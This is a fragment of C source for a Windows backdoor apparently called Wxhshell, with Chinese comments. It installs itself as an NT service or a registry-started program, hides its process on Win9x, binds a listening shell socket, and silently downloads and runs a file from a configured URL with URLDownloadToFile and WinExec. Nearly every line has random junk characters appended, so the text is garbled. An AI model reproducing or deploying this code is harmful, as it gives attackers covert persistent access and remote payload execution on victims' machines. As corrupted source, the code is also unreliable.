ULONG UniqueProcessId; OX]$Xdb2:
ULONG InheritedFromUniqueProcessId; _M%S
} PROCESS_BASIC_INFORMATION; ~4{q
LUMbRrD-
PROCNTQSIP NtQueryInformationProcess; iAu/ t
O@T,!_Zf
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q>2bkc GY#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z)`)9]*
Kq3c Kp4
HANDLE hProcess; xR0T'@q
PROCESS_BASIC_INFORMATION pbi;
I/Vw2
t^~vi'bB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @./h$]6
if(NULL == hInst ) return 0; >o?v[:u*
kL*P 3
0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mZR3Hl$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DO*U7V02
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sE% $]Jp
Z
v@nK%#J
if (!NtQueryInformationProcess) return 0; o%t4WQ|bj
5CFNBb%Xy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qu61$!
if(!hProcess) return 0; nnv|GnQST
,/{e%J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {JgY-#R?{(
~(^P(
CloseHandle(hProcess); %lHHTZ{+
H{*Dc_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :25LQf^nz
if(hProcess==NULL) return 0; 7Bp7d/R-
H#SQ>vyAV
HMODULE hMod; @(,1}3s
char procName[255]; !{lH*
unsigned long cbNeeded; c
C3>Ff'
l*1|B3#m!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e3p|g]
|"gL{De
CloseHandle(hProcess); y@3p5o9lv-
4nsJZo#S/
if(strstr(procName,"services")) return 1; // 以服务启动 H$h#n~W~
j<p.#jkT
return 0; // 注册表启动 I%3[aBz4
} M|*YeVs9#
XIdh9)]^}
// 主模块 32YbBGDN!f
int StartWxhshell(LPSTR lpCmdLine) ;o9h|LRs
{ dht0PZdx?
SOCKET wsl; =u<:'\_
BOOL val=TRUE; dkC[SG`
int port=0; [SPx
struct sockaddr_in door; MVYd\)\o
*LEy#N
if(wscfg.ws_autoins) Install(); oACAC+CP
CxFd/X,
port=atoi(lpCmdLine); xLW$>;kI
R /+$ :
if(port<=0) port=wscfg.ws_port; |\,OlX,
&xnQLz:#
WSADATA data; vF27+/2+R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XnyN*}8
QKG3>lU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ')"+ a^c
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CvoFt=c$jE
door.sin_family = AF_INET; npdljLN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 928_e)V
door.sin_port = htons(port); ue_wuZi
I^y<W%Et
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UY',n,
closesocket(wsl); _?tpO61g>
return 1; R
BYhU55B
} |6E_N5~
}Pcm'o_wT
if(listen(wsl,2) == INVALID_SOCKET) { Og\k5.! ,
closesocket(wsl); 9bM\ (s/
return 1; 80=0S^gEZ
} j6m;03<|
Wxhshell(wsl); K zWo}tT
WSACleanup(); 'R7 \
V@
>(xe7
return 0; Cr.YSWg)4
V(7,N(
} z#*.9/y\^R
.xRdKt!p
// 以NT服务方式启动 y\?ey'o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2cMCZuO
{ r_T)|||v
DWORD status = 0; R/vHq36d
DWORD specificError = 0xfffffff; RzEzNV
6Tl6A>%s
serviceStatus.dwServiceType = SERVICE_WIN32; GKBoSSnV&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; A8)4nOXM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XiW1X6
serviceStatus.dwWin32ExitCode = 0; M8/a laoT
serviceStatus.dwServiceSpecificExitCode = 0; 76nH)^%l<
serviceStatus.dwCheckPoint = 0; ~YYnn7)
serviceStatus.dwWaitHint = 0; Su#0F0
!}&|a~U@`k
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `'YX>u /
if (hServiceStatusHandle==0) return; >i/jqT/
Tq1\
status = GetLastError(); kaBjA*
if (status!=NO_ERROR) S_ATsG*(
{ y9:4n1fg
serviceStatus.dwCurrentState = SERVICE_STOPPED; (S[z
serviceStatus.dwCheckPoint = 0; ^b8~X [1J_
serviceStatus.dwWaitHint = 0; H[=\_X1o(
serviceStatus.dwWin32ExitCode = status; (80m'.X
serviceStatus.dwServiceSpecificExitCode = specificError; s0SzO,Vi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Uenr9)M
return; hG1:E:}
} 86ao{l6l C
.U1wVIM
serviceStatus.dwCurrentState = SERVICE_RUNNING; P'W} ]mCD
serviceStatus.dwCheckPoint = 0; g) X3:=['
serviceStatus.dwWaitHint = 0; /fI}QY1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1dH|/9
} ^? fOccfQ{
uFkl^2
// 处理NT服务事件,比如:启动、停止 (@?mm
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rlq7.2cP
{ |L2>|4
switch(fdwControl) F? #3
{ DHO]RRGV
case SERVICE_CONTROL_STOP: Blpk
n1
serviceStatus.dwWin32ExitCode = 0; xTHD_?d
serviceStatus.dwCurrentState = SERVICE_STOPPED; yJA~4
serviceStatus.dwCheckPoint = 0; +}:Z9AAMy
serviceStatus.dwWaitHint = 0; S$mv(C
{ !=[Y yh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q}{E![ZTu
} 0Hnj<| HL
return; 8D*7{Q
case SERVICE_CONTROL_PAUSE: 1.3#PdMR,
serviceStatus.dwCurrentState = SERVICE_PAUSED; q
W(@p`
break; M:+CW;||!
case SERVICE_CONTROL_CONTINUE: ;blL\|ch;
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Z`}!%?
break; H/,KY/>i
case SERVICE_CONTROL_INTERROGATE: eaw!5]huu
break; ^m\o(R
}; 8g#$Y2P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LmrdVSs_
} &.A_d+K&
wi2`5G6|z
// 标准应用程序主函数 ^z?b6kTC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (v]%kXy/G
{ bZu'5+(@
R"nB4R0Uh
// 获取操作系统版本 !>`Q]M`
OsIsNt=GetOsVer(); mF7Ak&So^
GetModuleFileName(NULL,ExeFile,MAX_PATH); G~9m,l+
]2AOW}=
// 从命令行安装 I Xc `Ec
if(strpbrk(lpCmdLine,"iI")) Install(); 0z8(9DlTc
'HA{6v,y
// 下载执行文件 #6 M]tr
if(wscfg.ws_downexe) { 5y#,z`S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8v$q+Wic
WinExec(wscfg.ws_filenam,SW_HIDE); E0Wc8m "
} T7[@ lMa?
O
NabL.CV
if(!OsIsNt) { N ,~O+
// 如果时win9x,隐藏进程并且设置为注册表启动 {cK<iQJ
HideProc(); u0C:q`;z
StartWxhshell(lpCmdLine); EC+t-:a]
} CK_dEh2c
else j7I=2xnTWu
if(StartFromService()) R7::f\I
// 以服务方式启动 )_#V>cvNG
StartServiceCtrlDispatcher(DispatchTable); 4_#$k{
else 4I4m4^
// 普通方式启动 6N/(cUXJ
StartWxhshell(lpCmdLine); M.}9)ho
=G-OIu+H!U
return 0; .:S/x{~
}